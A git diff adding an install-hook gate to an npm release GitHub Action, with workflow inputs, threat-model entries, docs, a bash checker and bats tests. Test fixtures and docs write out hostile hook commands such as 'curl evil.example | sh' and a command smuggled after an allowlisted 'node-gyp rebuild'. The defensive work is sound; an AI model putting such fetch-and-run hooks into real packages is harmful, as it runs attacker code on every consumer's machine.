diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 984f623..4e593d8 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -106,6 +106,30 @@ on: required: false type: string default: 'true' + lifecycle-scripts-policy: + description: | + How verify-lifecycle-scripts handles preinstall/install/postinstall + hooks in the published package. One of: + - warn (default): unpermitted hooks are logged but publish continues. + - strict: unpermitted hooks fail the release. + - off: skip the gate entirely. + Install-time hooks run on every consumer's machine when they + `npm install` the package — the attack surface used in the April + 2026 Bitwarden CLI compromise. Allow specific hooks via + `allowed-lifecycle-scripts`. + required: false + type: string + default: 'warn' + allowed-lifecycle-scripts: + description: >- + JSON object mapping hook name (preinstall/install/postinstall) to + the exact command string permitted. Anything else warns or fails + depending on `lifecycle-scripts-policy`. Empty map (default) means + no install hooks are allowed. Example: + {"postinstall": "node-gyp rebuild"} + required: false + type: string + default: '{}' version-strategy: description: | How version bumps are validated. One of: @@ -255,6 +279,12 @@ jobs: - name: Verify no secrets in artefacts run: $ACTION_SRC/steps/verify-secrets.sh + - name: Verify lifecycle scripts + env: + LIFECYCLE_POLICY: ${{ inputs.lifecycle-scripts-policy }} + ALLOWED_LIFECYCLE_SCRIPTS: ${{ inputs.allowed-lifecycle-scripts }} + run: $ACTION_SRC/steps/verify-lifecycle-scripts.sh + - name: Record tarball integrity id: record env: diff --git a/THREAT-MODEL.md b/THREAT-MODEL.md index bc07d52..96751ef 100644 --- a/THREAT-MODEL.md +++ b/THREAT-MODEL.md @@ -42,6 +42,7 @@ of the defences listed below, that change needs explicit justification. | Race between parallel releases publishing the same version twice | `publish-npm` is idempotent: if the exact version is already on the registry, it exits `0` without re-publishing. | | Registry tarball substitution between publish and consumer fetch | `record-tarball` packs the artefact once and writes its sha512 (npm integrity format) plus sha256 to a meta file. `publish-npm` uploads that exact tarball — not a re-pack — and on a clean re-run compares the registry's `dist.integrity` to the recorded value: a mismatch fails the workflow loudly. The hashes are also stamped into the GitHub Release body so consumers can `curl | shasum` the registry tarball at any time. | | Compromised third-party action re-pointed at malicious code via tag mutation (the `tj-actions/changed-files` 2025-03 vector) | `verify-action-pins` walks `.github/workflows/*.yml` in the consumer repo and warns on any `uses: owner/repo@ref` line whose ref is not a 40-char hex SHA. Warn-only by default; `strict-action-pins: true` promotes to fail. | +| Compromised publish credential used to ship a malicious `preinstall` / `install` / `postinstall` hook (the April 2026 `@bitwarden/cli@2026.4.0` / TeamPCP–Checkmarx vector) | `verify-lifecycle-scripts` reads the consumer's `package.json` and flags any install-time hook not matching an explicit `allowed-lifecycle-scripts` allowlist. Warn-only by default; `lifecycle-scripts-policy: strict` promotes to fail. Combined with OIDC trusted publishing (no long-lived `NPM_TOKEN` to exfiltrate), this closes the primary payload mechanism used by that campaign. | | Non-deterministic build masking a regression in compiled output | The reusable workflow runs **two parallel builds on independent runners**, both packed with normalised mtimes and `SOURCE_DATE_EPOCH` derived from `git log`. The `reproduce` job compares the two sha256s and (under the default `reproducibility-mode: strict`) refuses to publish on mismatch. This catches embedded build timestamps, sorted-by-fs globs, random IDs, and host-path leakage — the common ways non-determinism slips into a JS bundle. Stronger than SLSA provenance: provenance attests one runner built these bytes once; reproduce attests two runners arrive at the same bytes. | ## Threats explicitly NOT addressed @@ -55,6 +56,7 @@ of the defences listed below, that change needs explicit justification. | Supply-chain attack on `gh`, `jq`, `npm`, `awk`, `sed`, `find`, `grep` themselves | Mitigated by using the GitHub-managed runner image, which is SHA-pinned to a runner release, not eliminated. | | Leaked GitHub Actions OIDC claims reused by a third party | Mitigated by the short OIDC token lifetime (~10 minutes) and the npm registry's trusted-publisher repo/workflow matching, not eliminated. | | Supply-chain substitution of the `jsr` CLI package at publish time | JSR publish is opt-in (requires `jsr.json` in the consumer repo). `publish-jsr.sh` pins `jsr@${JSR_CLI_VERSION}` by semver, not integrity: a maintainer-account compromise of the `jsr` npm package within npm's 72-hour republish-after-unpublish window could substitute bytes while keeping the version string. Mitigated by the version pin and opt-in posture; not eliminated. Bump `JSR_CLI_VERSION` only after manually verifying the tarball SHA against a known-good release. | +| Compromised third-party action running in a sibling job that can see publish credentials | Out of anvil's enforcement reach. anvil controls the jobs it defines in `release.yml`; a consumer workflow that runs a third-party action (Trivy, KICS, linters, custom scanners) in a separate job of the same run must either not expose `secrets.*` to that job, or not have an `NPM_TOKEN` secret to expose at all. OIDC trusted publishing already removes the primary long-lived target; see the "isolating third-party actions" note under Known limitations. | | `@v0` (major) floating tag auto-adoption after a compromised release | `self-release.yml` force-advances the `v0` tag on every release so consumers pinned `@v0` get new versions without pin bumps. A single compromised commit that passes anvil's own self-release gates would auto-propagate to every consumer pinned `@v0`. This is the same trust property as `actions/checkout@v4`, `actions/setup-node@v6`, and every other action that offers a floating major tag. Consumers who want a stronger guarantee should pin anvil to a 40-char SHA and set `strict-action-pins: true` in their caller workflow. | ## Trust boundaries @@ -188,6 +190,50 @@ selection would pick prepack output instead and the scan could become bypassable. This is a stable contract today but worth re-checking on major npm upgrades. +### `verify-lifecycle-scripts` only covers install-time hooks + +The gate inspects `preinstall`, `install`, and `postinstall` — the three +hooks npm runs automatically on `npm install ` for every consumer. +It does **not** inspect `prepare`, `prepack`, `prepublish`, or +`prepublishOnly`: those fire on the publisher's machine at pack/publish +time, not on the consumer, and are already scoped to the trusted publish +job. A malicious `prepack` in a consumer repo would run on anvil's own +runner during `record-tarball.sh` — a separate concern that sits at the +trust boundary between consumer build tooling and the action itself, +covered by the "untrusted consumer build" boundary below. + +The gate also does not detect malicious code loaded from the package's +main entry (`require`/`import` side effects that run on first use), nor +code loaded by a native-module binding, nor anything inside a bundled +runtime. Those attacker paths avoid the lifecycle-hook mechanism +entirely; the gate is a targeted block on the *specific* shape used in +the April 2026 Bitwarden compromise, not a general malicious-code +detector. Consumers who want that stronger guarantee need code review +and/or signed commits, which are out of scope. + +### Isolating third-party actions from publish credentials + +anvil's own `release.yml` jobs do not expose any long-lived secret to +step scripts — OIDC is minted inside the publish job with a ~10-minute +lifetime and `id-token: write` scoped to that job only. The consumer is +responsible for not leaking secrets into *sibling* jobs of the same +workflow run. If a consumer adds a Trivy/KICS/lint job to their release +workflow and sets `env: NPM_TOKEN: ${{ secrets.NPM_TOKEN }}` on it +(defeating the point of OIDC), a compromised third-party action in that +sibling job can still exfiltrate the token and publish out-of-band later. + +Mitigations a consumer should apply: + +1. **Delete any `NPM_TOKEN` secret.** With OIDC trusted publishing + configured on npm, it is unused; keeping it is the whole attack + surface. +2. **Run third-party scanners in a separate workflow**, not a sibling + job of the release workflow. A scanner triggered on `pull_request` + or `push` never sees the release context's secrets. +3. **Pin every third-party action by 40-char SHA** and enable + `strict-action-pins: true` so `verify-action-pins` fails the release + on any unpinned reference. + ### Changelog extraction uses a word-bounded heading match `changelog-extract` finds the CHANGELOG section by matching any H1/H2/H3 diff --git a/action.yml b/action.yml index 462acca..cd2022c 100644 --- a/action.yml +++ b/action.yml @@ -47,6 +47,28 @@ inputs: by name. required: false default: 'true' + lifecycle-scripts-policy: + description: | + How verify-lifecycle-scripts handles preinstall/install/postinstall + hooks in the published package. One of: + - warn (default): unpermitted hooks are logged but publish continues. + - strict: unpermitted hooks fail the release. + - off: skip the gate entirely. + Install-time hooks run on every consumer's machine when they + `npm install` the package — the attack surface used in the April + 2026 Bitwarden CLI compromise. Allow specific hooks via + `allowed-lifecycle-scripts`. + required: false + default: 'warn' + allowed-lifecycle-scripts: + description: >- + JSON object mapping hook name (preinstall/install/postinstall) to + the exact command string permitted. Anything else warns or fails + depending on `lifecycle-scripts-policy`. Empty map (default) means + no install hooks are allowed. Example: + {"postinstall": "node-gyp rebuild"} + required: false + default: '{}' version-strategy: description: | How version bumps are validated. One of: @@ -137,6 +159,14 @@ runs: PACKAGE_JSON: ${{ inputs.package-json }} run: ${{ github.action_path }}/steps/verify-secrets.sh + - name: Verify lifecycle scripts + shell: bash + env: + PACKAGE_JSON: ${{ inputs.package-json }} + LIFECYCLE_POLICY: ${{ inputs.lifecycle-scripts-policy }} + ALLOWED_LIFECYCLE_SCRIPTS: ${{ inputs.allowed-lifecycle-scripts }} + run: ${{ github.action_path }}/steps/verify-lifecycle-scripts.sh + - name: Record tarball integrity shell: bash env: diff --git a/docs/pre-publish-gates.md b/docs/pre-publish-gates.md index 6830253..fd1f350 100644 --- a/docs/pre-publish-gates.md +++ b/docs/pre-publish-gates.md @@ -449,6 +449,88 @@ This gate runs automatically. No configuration required. --- +## Lifecycle-script gate (verify-lifecycle-scripts.sh) + +Refuses to publish packages whose `preinstall`, `install`, or +`postinstall` script runs code on every consumer of the package. This is +the payload mechanism used in the April 2026 `@bitwarden/cli@2026.4.0` +compromise: a preinstall hook pointing at `bw1.js` / `bw_setup.js` +executed on every install, stealing GitHub tokens, `.ssh` keys, `.env` +files, and cloud credentials. A version that already shipped through an +anvil pipeline with `lifecycle-scripts-policy: strict` would have been +blocked at this gate. + +### How it works + +Reads `scripts` from the consumer's `package.json` and compares each of +the three install-time hooks against an explicit allowlist. Anything +not on the allowlist warns (default) or fails the release (strict). + +Only install-time hooks (those npm runs automatically for every consumer +of the published package) are inspected. Build-time hooks (`prepare`, +`prepack`, `prepublishOnly`) run on the publisher's machine at pack +time, not on consumers, and are deliberately out of scope for this +gate. + +### Configuration + +Two inputs: + +- `lifecycle-scripts-policy` (default: `warn`): one of `warn`, `strict`, + `off`. Warn logs unpermitted hooks but lets the release proceed. + Strict fails the release. Off skips the gate entirely. +- `allowed-lifecycle-scripts` (default: `{}`): JSON object mapping hook + name to the exact command string permitted. Exact string match only — + substring and prefix matches are intentionally not supported, because + they would let an attacker smuggle extra commands past an allowlisted + entry (e.g. `node-gyp rebuild; curl evil | sh`). + +Default behaviour is warn-only so adopting anvil does not break +existing releases of packages that already ship a legitimate +`postinstall`. Promote to strict once the allowlist is populated: + +```yaml +uses: forgesworn/anvil/.github/workflows/release.yml@v0 +with: + lifecycle-scripts-policy: strict + allowed-lifecycle-scripts: '{"postinstall": "node-gyp rebuild"}' +``` + +Most pure-JS libraries have no legitimate install hooks at all; the +`{}` default combined with `lifecycle-scripts-policy: strict` is the +correct setting for those, and it is the configuration this gate was +designed for. + +### Output + +- On success: `ok: no preinstall/install/postinstall hooks declared` or + `ok: all install hooks present are on the allowlist`. +- In warn mode on offending hooks: `warning: preinstall hook set in + package.json: ` per hook, then a reminder that strict mode + would fail. +- In strict mode on offending hooks: the same warnings, then `error: + lifecycle-scripts-policy=strict: refusing to publish package with + unpermitted install hooks`. Exit 1, release blocked. +- On an allowlisted-hook-with-wrong-command: `warning: postinstall + mismatch: package.json has '' but allowlist expects ''`. + +### What it does not catch + +- Malicious code loaded from the package's main entry (`require`/ + `import` side effects that run on first use). +- Malicious native-module bindings invoked on import. +- Anything inside a bundled runtime shipped with the package. +- Build-time hooks (`prepare`, `prepack`) — the publisher-side + attack surface, covered by the action's own job isolation rather + than by this gate. + +The gate is a targeted block on the *specific* shape used in the April +2026 Bitwarden compromise, not a general malicious-code detector. It +pairs with OIDC trusted publishing (which removes the long-lived +`NPM_TOKEN` pivot) to close that campaign's attack chain end-to-end. + +--- + ## Frozen-vector gate (verify-vectors.sh) An optional gate for libraries with deterministic test vectors diff --git a/steps/verify-lifecycle-scripts.sh b/steps/verify-lifecycle-scripts.sh new file mode 100755 index 0000000..5cd0898 --- /dev/null +++ b/steps/verify-lifecycle-scripts.sh @@ -0,0 +1,109 @@ +#!/usr/bin/env bash +# verify-lifecycle-scripts.sh — refuse to publish packages whose install +# lifecycle scripts would run arbitrary code on every consumer. +# +# npm runs `preinstall`, `install`, and `postinstall` scripts +# automatically when a consumer runs `npm install `. A malicious +# script set in one of these hooks lets a compromised publish execute +# code on every consumer machine with no user interaction. This is the +# payload mechanism used in the April 2026 Bitwarden CLI compromise, +# where @bitwarden/cli@2026.4.0 shipped a preinstall hook pointing at +# a credential-stealer loader (bw1.js / bw_setup.js). +# +# The gate reads `scripts` from the consumer's package.json — the same +# object that ships in the published tarball — and compares each of the +# three install-time hooks against an explicit allowlist. Anything not +# on the allowlist warns (default) or fails (strict). +# +# Why not block all three unconditionally: native-module packages +# legitimately use `postinstall` for `node-gyp rebuild` or similar +# build-on-install behaviour. The allowlist lets those packages declare +# intent without disabling the gate. +# +# Policy: +# warn (default) -- log a warning for each unpermitted hook; publish continues +# strict -- fail the release if any unpermitted hook is present +# off -- skip the gate entirely +# +# Allowlist format: JSON object mapping hook name to the exact command +# string permitted. An exact string match is required; a different +# command in the same hook is treated as "not allowlisted". Empty map +# (the default) means "no install hooks allowed". +# +# Example caller configuration: +# lifecycle-scripts-policy: strict +# allowed-lifecycle-scripts: '{"postinstall": "node-gyp rebuild"}' +# +# Env: +# PACKAGE_JSON (default: package.json) +# LIFECYCLE_POLICY (warn|strict|off, default warn) +# ALLOWED_LIFECYCLE_SCRIPTS (JSON object, default "{}") + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +# shellcheck source-path=SCRIPTDIR +# shellcheck source=lib.sh +source "${SCRIPT_DIR}/lib.sh" + +header "verify-lifecycle-scripts" + +policy="${LIFECYCLE_POLICY:-warn}" +case "$policy" in + warn|strict) ;; + off) log "lifecycle-scripts-policy=off — skipping"; ok "skipped"; exit 0 ;; + *) die "lifecycle-scripts-policy must be one of: warn, strict, off (got: '$policy')" ;; +esac + +require_cmds jq + +pkg="${PACKAGE_JSON:-package.json}" +[[ -f "$pkg" ]] || die "$pkg not found" + +allowed_raw="${ALLOWED_LIFECYCLE_SCRIPTS:-}" +[[ -z "$allowed_raw" ]] && allowed_raw='{}' +if ! printf '%s' "$allowed_raw" | jq -e 'type == "object"' >/dev/null 2>&1; then + die "allowed-lifecycle-scripts must be a JSON object (got: $allowed_raw)" +fi + +# Hooks npm runs on `npm install ` for every consumer of the +# published package. Build-time hooks (prepack, prepare, prepublishOnly) +# are deliberately not in this list: those run on the publisher's +# machine at pack/publish time, not on the consumer. +hooks=(preinstall install postinstall) + +fail=0 +found_any=0 + +for hook in "${hooks[@]}"; do + cmd="$(jq -r --arg h "$hook" '.scripts[$h] // empty' "$pkg")" + [[ -z "$cmd" ]] && continue + found_any=1 + + allowed_cmd="$(printf '%s' "$allowed_raw" | jq -r --arg h "$hook" '.[$h] // empty')" + + if [[ -n "$allowed_cmd" && "$allowed_cmd" == "$cmd" ]]; then + ok "$hook allowed by allowlist: $cmd" + continue + fi + + if [[ -n "$allowed_cmd" ]]; then + warn "$hook mismatch: package.json has '$cmd' but allowlist expects '$allowed_cmd'" + else + warn "$hook hook set in package.json: $cmd" + fi + fail=1 +done + +if (( found_any == 0 )); then + ok "no preinstall/install/postinstall hooks declared" + exit 0 +fi + +if (( fail )); then + if [[ "$policy" == "strict" ]]; then + die "lifecycle-scripts-policy=strict: refusing to publish package with unpermitted install hooks" + fi + warn "lifecycle-scripts-policy=warn — publish will proceed; set to 'strict' to fail on unpermitted hooks" + exit 0 +fi + +ok "all install hooks present are on the allowlist" diff --git a/test/verify-lifecycle-scripts.bats b/test/verify-lifecycle-scripts.bats new file mode 100644 index 0000000..6ce8a64 --- /dev/null +++ b/test/verify-lifecycle-scripts.bats @@ -0,0 +1,184 @@ +#!/usr/bin/env bats + +# Tests for steps/verify-lifecycle-scripts.sh -- the install-hook gate. +# +# verify-lifecycle-scripts reads the consumer's package.json and flags +# any preinstall/install/postinstall script not on the allowlist. The +# April 2026 Bitwarden CLI compromise shipped a preinstall hook pointing +# at a credential-stealer loader; this gate catches that shape. + +load helpers + +setup() { + setup_fixture +} + +teardown() { + teardown_fixture +} + +@test "verify-lifecycle-scripts: passes when no install hooks declared" { + write_package_json '{"name":"pkg","version":"1.0.0","scripts":{"test":"echo ok","build":"tsc"}}' + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 0 ] + [[ "$output" == *"no preinstall/install/postinstall hooks declared"* ]] +} + +@test "verify-lifecycle-scripts: passes when scripts field is absent" { + write_package_json '{"name":"pkg","version":"1.0.0"}' + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 0 ] + [[ "$output" == *"no preinstall/install/postinstall hooks declared"* ]] +} + +@test "verify-lifecycle-scripts: warns on preinstall hook in default (warn) mode" { + # Bitwarden compromise shape: a preinstall hook pointing at a stage-1 loader. + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"preinstall":"node bw1.js"} + }' + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 0 ] + [[ "$output" == *"preinstall hook set"* ]] + [[ "$output" == *"bw1.js"* ]] +} + +@test "verify-lifecycle-scripts: fails on preinstall hook in strict mode" { + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"preinstall":"node bw1.js"} + }' + LIFECYCLE_POLICY=strict run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"refusing to publish"* ]] +} + +@test "verify-lifecycle-scripts: fails on postinstall hook in strict mode" { + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"postinstall":"curl evil.example | sh"} + }' + LIFECYCLE_POLICY=strict run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"postinstall"* ]] +} + +@test "verify-lifecycle-scripts: fails on install hook in strict mode" { + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"install":"node evil.js"} + }' + LIFECYCLE_POLICY=strict run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"install"* ]] +} + +@test "verify-lifecycle-scripts: allowlist permits exact postinstall command in strict mode" { + # Native-module packages need postinstall. An exact-string allowlist + # entry lets them opt in without disabling the gate. + write_package_json '{ + "name":"native-pkg","version":"1.0.0", + "scripts":{"postinstall":"node-gyp rebuild"} + }' + LIFECYCLE_POLICY=strict \ + ALLOWED_LIFECYCLE_SCRIPTS='{"postinstall":"node-gyp rebuild"}' \ + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 0 ] + [[ "$output" == *"allowed by allowlist"* ]] +} + +@test "verify-lifecycle-scripts: allowlist must match exactly (different command still fails)" { + # Regression: a substring or prefix match would let an attacker smuggle + # extra commands past an allowlisted entry (e.g. 'node-gyp rebuild; curl evil'). + write_package_json '{ + "name":"native-pkg","version":"1.0.0", + "scripts":{"postinstall":"node-gyp rebuild && curl evil.example | sh"} + }' + LIFECYCLE_POLICY=strict \ + ALLOWED_LIFECYCLE_SCRIPTS='{"postinstall":"node-gyp rebuild"}' \ + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"mismatch"* ]] +} + +@test "verify-lifecycle-scripts: off mode skips the gate entirely" { + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"preinstall":"node bw1.js"} + }' + LIFECYCLE_POLICY=off run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 0 ] + [[ "$output" == *"skipping"* ]] +} + +@test "verify-lifecycle-scripts: fails on invalid policy value" { + write_package_json '{"name":"pkg","version":"1.0.0"}' + LIFECYCLE_POLICY=Strict run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"must be one of"* ]] +} + +@test "verify-lifecycle-scripts: fails on non-object allowlist" { + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"preinstall":"node bw1.js"} + }' + LIFECYCLE_POLICY=strict \ + ALLOWED_LIFECYCLE_SCRIPTS='not-json' \ + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"must be a JSON object"* ]] +} + +@test "verify-lifecycle-scripts: fails on array-typed allowlist" { + # Regression: a JSON array parses as valid JSON but is not the + # hook->command mapping the script expects. + write_package_json '{"name":"pkg","version":"1.0.0"}' + LIFECYCLE_POLICY=strict \ + ALLOWED_LIFECYCLE_SCRIPTS='["postinstall"]' \ + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"must be a JSON object"* ]] +} + +@test "verify-lifecycle-scripts: empty allowlist default rejects all hooks in strict mode" { + # Regression: a bug where an unset/empty ALLOWED_LIFECYCLE_SCRIPTS + # silently permitted every hook would turn strict mode into a no-op. + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"postinstall":"node-gyp rebuild"} + }' + LIFECYCLE_POLICY=strict run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"postinstall"* ]] +} + +@test "verify-lifecycle-scripts: build-time hooks (prepare, prepack) are not gated" { + # prepare/prepack run on the publisher's machine at pack time, not on + # consumer install. They are out of scope for this gate by design; a + # separate concern for a separate gate (or consumer repo policy). + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"prepare":"npm run build","prepack":"npm run build","prepublishOnly":"npm test"} + }' + LIFECYCLE_POLICY=strict run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 0 ] + [[ "$output" == *"no preinstall/install/postinstall hooks declared"* ]] +} + +@test "verify-lifecycle-scripts: reports multiple offending hooks in one run" { + write_package_json '{ + "name":"pkg","version":"1.0.0", + "scripts":{"preinstall":"node a.js","postinstall":"node b.js"} + }' + LIFECYCLE_POLICY=strict run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"preinstall"* ]] + [[ "$output" == *"postinstall"* ]] +} + +@test "verify-lifecycle-scripts: fails when package.json is missing" { + run "$ACTION_ROOT/steps/verify-lifecycle-scripts.sh" + [ "$status" -eq 1 ] + [[ "$output" == *"not found"* ]] +}